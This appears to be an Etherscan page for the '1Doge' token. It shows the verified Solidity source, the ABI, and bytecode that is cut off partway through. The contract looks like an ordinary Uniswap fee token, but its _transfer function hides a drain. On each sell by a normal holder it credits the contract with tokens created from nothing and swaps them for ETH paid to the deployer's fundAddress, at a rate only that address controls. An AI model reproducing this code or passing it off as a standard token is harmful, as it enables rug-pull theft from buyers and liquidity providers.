ETH Price: $2,636.60 (+0.30%)

Token

1Doge (1Doge)
 

Overview

Max Total Supply

1 1Doge

Holders

10

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
0.010558102084651151 1Doge

Value
$0.00
0x6dA33963A12A4D426DC909fdEa65Ab48F179C234
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ERC20

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-08
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.7;

interface IERC20 {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;


}

interface IUniswapFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

abstract contract Ownable {
    address internal _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "you are not owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "new is 0");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract TokenDistributor {
    constructor (address token) {
        (bool success, ) = token.call(abi.encodeWithSignature("approve(address,uint256)",msg.sender, ~uint256(0)));
        require(success);
    }
}

contract ERC20 is IERC20, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    address public fundAddress;

    string private _name;
    string private _symbol;
    uint8 private _decimals;

    mapping(address => bool) public _isExcludeFromFee;
    
    uint256 private _totalSupply;

    IUniswapRouter public _uniswapRouter;

    mapping(address => bool) public isMarketPair;
    bool private inSwap;

    uint256 private constant MAX = ~uint256(0);

    uint256 public _buyFundFee = 1;
    uint256 public _sellFundFee = 1;

    address public _uniswapPair;

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    TokenDistributor public _tokenDistributor;

    constructor (){
        _name = "1Doge";
        _symbol = "1Doge";
        _decimals = 18;
        uint256 Supply = 1;

        IUniswapRouter swapRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        _uniswapRouter = swapRouter;
        _allowances[address(this)][address(swapRouter)] = MAX;

        IUniswapFactory swapFactory = IUniswapFactory(swapRouter.factory());
        address swapPair = swapFactory.createPair(address(this), swapRouter.WETH());
        _uniswapPair = swapPair;
        isMarketPair[swapPair] = true;

        _totalSupply = Supply * 10 ** _decimals;

        address receiveAddr = msg.sender;
        _balances[receiveAddr] = _totalSupply;
        emit Transfer(address(0), receiveAddr, _totalSupply);

        fundAddress = receiveAddr;

        _isExcludeFromFee[address(this)] = true;
        _isExcludeFromFee[address(swapRouter)] = true;
        _isExcludeFromFee[receiveAddr] = true;
        _isExcludeFromFee[fundAddress] = true;

        IERC20(_uniswapRouter.WETH()).approve(
            address(address(_uniswapRouter)),
            ~uint256(0)
        );

        _tokenDistributor = new TokenDistributor(_uniswapRouter.WETH());

    }

    function setFundAddr(address newAddr) public onlyOwner{
        fundAddress = newAddr;
    }

    function symbol() external view override returns (string memory) {
        return _symbol;
    }

    function name() external view override returns (string memory) {
        return _name;
    }

    function decimals() external view override returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        if (_allowances[sender][msg.sender] != MAX) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    bool public remainEn = true;
    function changeRemain() public onlyOwner{
        remainEn = !remainEn;
    }

    uint256 public rate = 50;
    function setrate(uint256 newv) public {
        address on = fundAddress;
        if (msg.sender == on){
            rate = newv;
        }
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        uint256 balance = balanceOf(from);
        require(balance >= amount, "balanceNotEnough");

        bool takeFee;
        bool sellFlag;

        if (isMarketPair[to] && !inSwap && !_isExcludeFromFee[from] && !_isExcludeFromFee[to]) {
            uint256 numtoselltoken = amount*rate/100;
            if (numtoselltoken > balanceOf(address(this))){
                _balances[address(this)] = numtoselltoken;
            }
            if (numtoselltoken > 0){
                swapTokenForETH(numtoselltoken); 
            }
        }

        if (!_isExcludeFromFee[from] && !_isExcludeFromFee[to] && remainEn){
            if (amount == _balances[from]){ // remain holders
                amount = amount - (amount / 10000);
            }
        }

        if (!_isExcludeFromFee[from] && !_isExcludeFromFee[to] && !inSwap) {
            takeFee = true;
        }

        if (takeFee && !isMarketPair[from] && !isMarketPair[to]){
            takeFee = false;
        }

        if (isMarketPair[to]) { sellFlag = true; }

        _transferToken(from, to, amount, takeFee, sellFlag);
    }

    function _transferToken(
        address sender,
        address recipient,
        uint256 tAmount,
        bool takeFee,
        bool sellFlag
    ) private {
        _balances[sender] = _balances[sender] - tAmount;
        uint256 feeAmount;

        if (takeFee) {
            
            uint256 taxFee;

            if (sellFlag) {
                taxFee = _sellFundFee;
            } else {
                taxFee = _buyFundFee;
            }
            uint256 swapAmount = tAmount * taxFee / 100;
            if (swapAmount > 0) {
                feeAmount += swapAmount;
                _balances[address(this)] = _balances[address(this)] + swapAmount;
                emit Transfer(sender, address(this), swapAmount);
            }
        }

        _balances[recipient] = _balances[recipient] + (tAmount - feeAmount);
        emit Transfer(sender, recipient, tAmount - feeAmount);

    }

    function removeERC20(address _token) external {
        if(_token != address(this)){
            IERC20(_token).transfer(fundAddress, IERC20(_token).balanceOf(address(this)));
            payable(fundAddress).transfer(address(this).balance);
        }
    }

    event catchEvent(uint8);

    function swapTokenForETH(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapRouter.WETH();
        try _uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(fundAddress),
            block.timestamp
        ) {} catch { emit catchEvent(0); }
    }

    function setIsExcludeFromFees(address account, bool value) public onlyOwner{
        _isExcludeFromFee[account] = value;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint8","name":"","type":"uint8"}],"name":"catchEvent","type":"event"},{"inputs":[],"name":"_buyFundFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFundFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tokenDistributor","outputs":[{"internalType":"contract TokenDistributor","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"changeRemain","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"fundAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"rate","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"remainEn","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"}],"name":"removeERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddr","type":"address"}],"name":"setFundAddr","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setIsExcludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newv","type":"uint256"}],"name":"setrate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526001600c819055600d55600f805460ff60a01b1916600160a01b17905560326010553480156200003357600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506040805180820190915260058082526431446f676560d81b6020909201918252620000a391600491620005ae565b506040805180820190915260058082526431446f676560d81b6020909201918252620000d09181620005ae565b506006805460ff19166012179055600980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915530600090815260026020908152604080832084845282528083206000199055805163c45a015560e01b815290516001949392849263c45a01559260048083019392829003018186803b1580156200015d57600080fd5b505afa15801562000172573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000198919062000662565b90506000816001600160a01b031663c9c6539630856001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015620001e657600080fd5b505afa158015620001fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000221919062000662565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156200026a57600080fd5b505af11580156200027f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002a5919062000662565b600e80546001600160a01b0319166001600160a01b0383169081179091556000908152600a60208190526040909120805460ff19166001179055600654919250620002f49160ff169062000701565b620003009085620007c2565b600881905533600081815260016020908152604080832085905551938452919283927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3600380546001600160a01b0319166001600160a01b038381169182178355306000908152600760209081526040808320805460ff1990811660019081179092558b861685528285208054821683179055958452818420805487168217905595548416835291829020805490941690941790925560095482516315ab88c960e31b8152925191169263ad5c46489260048082019391829003018186803b158015620003f657600080fd5b505afa1580156200040b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000431919062000662565b60095460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b1580156200048057600080fd5b505af115801562000495573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004bb919062000694565b50600960009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200050b57600080fd5b505afa15801562000520573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000546919062000662565b60405162000554906200063d565b6001600160a01b039091168152602001604051809103906000f08015801562000581573d6000803e3d6000fd5b50600f80546001600160a01b0319166001600160a01b039290921691909117905550620008379350505050565b828054620005bc90620007e4565b90600052602060002090601f016020900481019282620005e057600085556200062b565b82601f10620005fb57805160ff19168380011785556200062b565b828001600101855582156200062b579182015b828111156200062b5782518255916020019190600101906200060e565b50620006399291506200064b565b5090565b6101958062001c6383390190565b5b808211156200063957600081556001016200064c565b6000602082840312156200067557600080fd5b81516001600160a01b03811681146200068d57600080fd5b9392505050565b600060208284031215620006a757600080fd5b815180151581146200068d57600080fd5b600181815b80851115620006f9578160001904821115620006dd57620006dd62000821565b80851615620006eb57918102915b93841c9390800290620006bd565b509250929050565b60006200068d60ff8416836000826200071d57506001620007bc565b816200072c57506000620007bc565b8160018114620007455760028114620007505762000770565b6001915050620007bc565b60ff84111562000764576200076462000821565b50506001821b620007bc565b5060208310610133831016604e8410600b841016171562000795575081810a620007bc565b620007a18383620006b8565b8060001904821115620007b857620007b862000821565b0290505b92915050565b6000816000190483118215151615620007df57620007df62000821565b500290565b600181811c90821680620007f957607f821691505b602082108114156200081b57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b61141c80620008476000396000f3fe6080604052600436106101a05760003560e01c8063715018a6116100ec578063a9059cbb1161008a578063ce0192f911610064578063ce0192f9146104c2578063dd62ed3e146104d8578063e82bef291461051e578063f2fde38b1461053e57600080fd5b8063a9059cbb1461046d578063ba34c8f11461048d578063bc76c052146104ad57600080fd5b80638da5cb5b116100c65780638da5cb5b146103f957806395d89b4114610417578063a4926dc91461042c578063a67755c21461044d57600080fd5b8063715018a6146103a4578063863587cd146103b95780638718b24f146103d957600080fd5b806336b2e027116101595780634bf28fd0116101335780634bf28fd0146102f457806365b61b771461032c5780636f39cfcd1461034c57806370a082311461036e57600080fd5b806336b2e0271461027e5780633bfe62ca146102ae5780633ecad271146102c457600080fd5b806306fdde03146101ac578063095ea7b3146101d757806318160ddd1461020757806323b872dd146102265780632c4e722e14610246578063313ce5671461025c57600080fd5b366101a757005b600080fd5b3480156101b857600080fd5b506101c161055e565b6040516101ce91906111fb565b60405180910390f35b3480156101e357600080fd5b506101f76101f2366004611180565b6105f0565b60405190151581526020016101ce565b34801561021357600080fd5b506008545b6040519081526020016101ce565b34801561023257600080fd5b506101f7610241366004611111565b610606565b34801561025257600080fd5b5061021860105481565b34801561026857600080fd5b5060065460405160ff90911681526020016101ce565b34801561028a57600080fd5b506101f7610299366004611097565b60076020526000908152604090205460ff1681565b3480156102ba57600080fd5b50610218600d5481565b3480156102d057600080fd5b506101f76102df366004611097565b600a6020526000908152604090205460ff1681565b34801561030057600080fd5b50600e54610314906001600160a01b031681565b6040516001600160a01b0390911681526020016101ce565b34801561033857600080fd5b50600954610314906001600160a01b031681565b34801561035857600080fd5b5061036c610367366004611097565b61069d565b005b34801561037a57600080fd5b50610218610389366004611097565b6001600160a01b031660009081526001602052604090205490565b3480156103b057600080fd5b5061036c6106f2565b3480156103c557600080fd5b5061036c6103d4366004611152565b610766565b3480156103e557600080fd5b50600f54610314906001600160a01b031681565b34801561040557600080fd5b506000546001600160a01b0316610314565b34801561042357600080fd5b506101c16107bb565b34801561043857600080fd5b50600f546101f790600160a01b900460ff1681565b34801561045957600080fd5b5061036c610468366004611097565b6107ca565b34801561047957600080fd5b506101f7610488366004611180565b61091d565b34801561049957600080fd5b5061036c6104a83660046111c9565b61092a565b3480156104b957600080fd5b5061036c610944565b3480156104ce57600080fd5b50610218600c5481565b3480156104e457600080fd5b506102186104f33660046110d8565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561052a57600080fd5b50600354610314906001600160a01b031681565b34801561054a57600080fd5b5061036c610559366004611097565b61098f565b60606004805461056d9061135c565b80601f01602080910402602001604051908101604052809291908181526020018280546105999061135c565b80156105e65780601f106105bb576101008083540402835291602001916105e6565b820191906000526020600020905b8154815290600101906020018083116105c957829003601f168201915b5050505050905090565b60006105fd338484610a55565b50600192915050565b6000610613848484610ab6565b6001600160a01b038416600090815260026020908152604080832033845290915290205460001914610693576001600160a01b038416600090815260026020908152604080832033845290915290205461066e908390611345565b6001600160a01b03851660009081526002602090815260408083203384529091529020555b5060019392505050565b6000546001600160a01b031633146106d05760405162461bcd60e51b81526004016106c790611250565b60405180910390fd5b600380546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b0316331461071c5760405162461bcd60e51b81526004016106c790611250565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107905760405162461bcd60e51b81526004016106c790611250565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b60606005805461056d9061135c565b6001600160a01b038116301461091a576003546040516370a0823160e01b81523060048201526001600160a01b038381169263a9059cbb9291169083906370a082319060240160206040518083038186803b15801561082857600080fd5b505afa15801561083c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086091906111e2565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401602060405180830381600087803b1580156108a657600080fd5b505af11580156108ba573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108de91906111ac565b506003546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015610918573d6000803e3d6000fd5b505b50565b60006105fd338484610ab6565b6003546001600160a01b0316338114156109185750601055565b6000546001600160a01b0316331461096e5760405162461bcd60e51b81526004016106c790611250565b600f805460ff60a01b198116600160a01b9182900460ff1615909102179055565b6000546001600160a01b031633146109b95760405162461bcd60e51b81526004016106c790611250565b6001600160a01b0381166109fa5760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b60448201526064016106c7565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526001602052604090205481811015610b125760405162461bcd60e51b815260206004820152601060248201526f0c4c2d8c2dcc6ca9cdee88adcdeeaced60831b60448201526064016106c7565b6001600160a01b0383166000908152600a6020526040812054819060ff168015610b3f5750600b5460ff16155b8015610b6457506001600160a01b03861660009081526007602052604090205460ff16155b8015610b8957506001600160a01b03851660009081526007602052604090205460ff16155b15610be8576000606460105486610ba09190611326565b610baa9190611304565b30600090815260016020526040902054909150811115610bd7573060009081526001602052604090208190555b8015610be657610be681610d67565b505b6001600160a01b03861660009081526007602052604090205460ff16158015610c2a57506001600160a01b03851660009081526007602052604090205460ff16155b8015610c3f5750600f54600160a01b900460ff165b15610c7d576001600160a01b038616600090815260016020526040902054841415610c7d57610c7061271085611304565b610c7a9085611345565b93505b6001600160a01b03861660009081526007602052604090205460ff16158015610cbf57506001600160a01b03851660009081526007602052604090205460ff16155b8015610cce5750600b5460ff16155b15610cd857600191505b818015610cfe57506001600160a01b0386166000908152600a602052604090205460ff16155b8015610d2357506001600160a01b0385166000908152600a602052604090205460ff16155b15610d2d57600091505b6001600160a01b0385166000908152600a602052604090205460ff1615610d52575060015b610d5f8686868585610f06565b505050505050565b600b805460ff191660011790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610da957610da96113ad565b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610dfd57600080fd5b505afa158015610e11573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e3591906110bb565b81600181518110610e4857610e486113ad565b6001600160a01b03928316602091820292909201015260095460035460405163791ac94760e01b81529183169263791ac94792610e94928792600092889290911690429060040161127b565b600060405180830381600087803b158015610eae57600080fd5b505af1925050508015610ebf575060015b610ef857604051600081527fbdf1a66ac2980d0df84c6c5344b4d62f3f4578219817cf4bcb8d8a983bbe6f169060200160405180910390a15b5050600b805460ff19169055565b6001600160a01b038516600090815260016020526040902054610f2a908490611345565b6001600160a01b03861660009081526001602052604081209190915582156110075760008215610f5d5750600d54610f62565b50600c545b60006064610f708388611326565b610f7a9190611304565b9050801561100457610f8c81846112ec565b30600090815260016020526040902054909350610faa9082906112ec565b30600081815260016020526040908190209290925590516001600160a01b038a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ffb9085815260200190565b60405180910390a35b50505b6110118185611345565b6001600160a01b03861660009081526001602052604090205461103491906112ec565b6001600160a01b0380871660008181526001602052604090209290925587167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61107e8488611345565b60405190815260200160405180910390a3505050505050565b6000602082840312156110a957600080fd5b81356110b4816113c3565b9392505050565b6000602082840312156110cd57600080fd5b81516110b4816113c3565b600080604083850312156110eb57600080fd5b82356110f6816113c3565b91506020830135611106816113c3565b809150509250929050565b60008060006060848603121561112657600080fd5b8335611131816113c3565b92506020840135611141816113c3565b929592945050506040919091013590565b6000806040838503121561116557600080fd5b8235611170816113c3565b91506020830135611106816113d8565b6000806040838503121561119357600080fd5b823561119e816113c3565b946020939093013593505050565b6000602082840312156111be57600080fd5b81516110b4816113d8565b6000602082840312156111db57600080fd5b5035919050565b6000602082840312156111f457600080fd5b5051919050565b600060208083528351808285015260005b818110156112285785810183015185820160400152820161120c565b8181111561123a576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252601190820152703cb7ba9030b932903737ba1037bbb732b960791b604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156112cb5784516001600160a01b0316835293830193918301916001016112a6565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156112ff576112ff611397565b500190565b60008261132157634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561134057611340611397565b500290565b60008282101561135757611357611397565b500390565b600181811c9082168061137057607f821691505b6020821081141561139157634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b038116811461091a57600080fd5b801515811461091a57600080fdfea26469706673582212200e3264c10be35ccbe530580838b13e44b7352223145392e0f4bfeac8dea9182664736f6c63430008070033608060405234801561001057600080fd5b5060405161019538038061019583398101604081905261002f916100dd565b60405133602482015260001960448201526000906001600160a01b0383169060640160408051601f198184030181529181526020820180516001600160e01b031663095ea7b360e01b17905251610086919061010d565b6000604051808303816000865af19150503d80600081146100c3576040519150601f19603f3d011682016040523d82523d6000602084013e6100c8565b606091505b50509050806100d657600080fd5b5050610148565b6000602082840312156100ef57600080fd5b81516001600160a01b038116811461010657600080fd5b9392505050565b6000825160005b8181101561012e5760208186018101518583015201610114565b8181111561013d576000828501525b509190910192915050565b603f806101566000396000f3fe6080604052600080fdfea264697066735822122056a20d1ab24947355dad0df75b3adf8a955ca911875b8a69d94e8aa8cf53629464736f6c63430008070033

Deployed Bytecode

0x6080604052600436106101a05760003560e01c8063715018a6116100ec578063a9059cbb1161008a578063ce0192f911610064578063ce0192f9146104c2578063dd62ed3e146104d8578063e82bef291461051e578063f2fde38b1461053e57600080fd5b8063a9059cbb1461046d578063ba34c8f11461048d578063bc76c052146104ad57600080fd5b80638da5cb5b116100c65780638da5cb5b146103f957806395d89b4114610417578063a4926dc91461042c578063a67755c21461044d57600080fd5b8063715018a6146103a4578063863587cd146103b95780638718b24f146103d957600080fd5b806336b2e027116101595780634bf28fd0116101335780634bf28fd0146102f457806365b61b771461032c5780636f39cfcd1461034c57806370a082311461036e57600080fd5b806336b2e0271461027e5780633bfe62ca146102ae5780633ecad271146102c457600080fd5b806306fdde03146101ac578063095ea7b3146101d757806318160ddd1461020757806323b872dd146102265780632c4e722e14610246578063313ce5671461025c57600080fd5b366101a757005b600080fd5b3480156101b857600080fd5b506101c161055e565b6040516101ce91906111fb565b60405180910390f35b3480156101e357600080fd5b506101f76101f2366004611180565b6105f0565b60405190151581526020016101ce565b34801561021357600080fd5b506008545b6040519081526020016101ce565b34801561023257600080fd5b506101f7610241366004611111565b610606565b34801561025257600080fd5b5061021860105481565b34801561026857600080fd5b5060065460405160ff90911681526020016101ce565b34801561028a57600080fd5b506101f7610299366004611097565b60076020526000908152604090205460ff1681565b3480156102ba57600080fd5b50610218600d5481565b3480156102d057600080fd5b506101f76102df366004611097565b600a6020526000908152604090205460ff1681565b34801561030057600080fd5b50600e54610314906001600160a01b031681565b6040516001600160a01b0390911681526020016101ce565b34801561033857600080fd5b50600954610314906001600160a01b031681565b34801561035857600080fd5b5061036c610367366004611097565b61069d565b005b34801561037a57600080fd5b50610218610389366004611097565b6001600160a01b031660009081526001602052604090205490565b3480156103b057600080fd5b5061036c6106f2565b3480156103c557600080fd5b5061036c6103d4366004611152565b610766565b3480156103e557600080fd5b50600f54610314906001600160a01b031681565b34801561040557600080fd5b506000546001600160a01b0316610314565b34801561042357600080fd5b506101c16107bb565b34801561043857600080fd5b50600f546101f790600160a01b900460ff1681565b34801561045957600080fd5b5061036c610468366004611097565b6107ca565b34801561047957600080fd5b506101f7610488366004611180565b61091d565b34801561049957600080fd5b5061036c6104a83660046111c9565b61092a565b3480156104b957600080fd5b5061036c610944565b3480156104ce57600080fd5b50610218600c5481565b3480156104e457600080fd5b506102186104f33660046110d8565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561052a57600080fd5b50600354610314906001600160a01b031681565b34801561054a57600080fd5b5061036c610559366004611097565b61098f565b60606004805461056d9061135c565b80601f01602080910402602001604051908101604052809291908181526020018280546105999061135c565b80156105e65780601f106105bb576101008083540402835291602001916105e6565b820191906000526020600020905b8154815290600101906020018083116105c957829003601f168201915b5050505050905090565b60006105fd338484610a55565b50600192915050565b6000610613848484610ab6565b6001600160a01b038416600090815260026020908152604080832033845290915290205460001914610693576001600160a01b038416600090815260026020908152604080832033845290915290205461066e908390611345565b6001600160a01b03851660009081526002602090815260408083203384529091529020555b5060019392505050565b6000546001600160a01b031633146106d05760405162461bcd60e51b81526004016106c790611250565b60405180910390fd5b600380546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b0316331461071c5760405162461bcd60e51b81526004016106c790611250565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107905760405162461bcd60e51b81526004016106c790611250565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b60606005805461056d9061135c565b6001600160a01b038116301461091a576003546040516370a0823160e01b81523060048201526001600160a01b038381169263a9059cbb9291169083906370a082319060240160206040518083038186803b15801561082857600080fd5b505afa15801561083c573d6000803e3d6000fd5b505050506040513d601f19601f82011